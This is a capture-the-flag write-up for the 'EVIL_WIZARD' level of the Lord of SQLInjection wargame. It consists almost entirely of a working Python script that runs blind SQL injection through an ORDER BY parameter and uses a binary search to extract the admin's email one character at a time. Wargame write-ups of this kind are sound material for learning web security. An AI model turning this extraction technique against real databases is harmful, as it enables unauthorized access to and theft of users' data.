LOS :: 24번 EVIL_WIZARD

WRITE UP

import requests
 
url = "http://los.rubiya.kr/evil_wizard_32e3d35835aa4e039348712fb75169ad.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
 
flag=""
 
print("[∞] flag : ",end='')
 
for i in range(1,31):
   a=0
   b=126
   while b-a!=0:
      center = a+(b-a)//2
      data['order']="id='admin' and ord(mid(email,"+str(i)+",1))>"+str(center)+" desc"
      res = requests.get(url, params=data, cookies=session)
      if(res.text.index('admin')>res.text.index('rubiya')):
         b=center
      else:
         a=center+1
   print(chr(a),end='')
   flag = flag + chr(a)   
   
data['email']=flag
res = requests.get(url, params=data, cookies = session)
 
if "Clear!" in res.text:
   print("\n[♪] EVIL_WIZARD Clear!")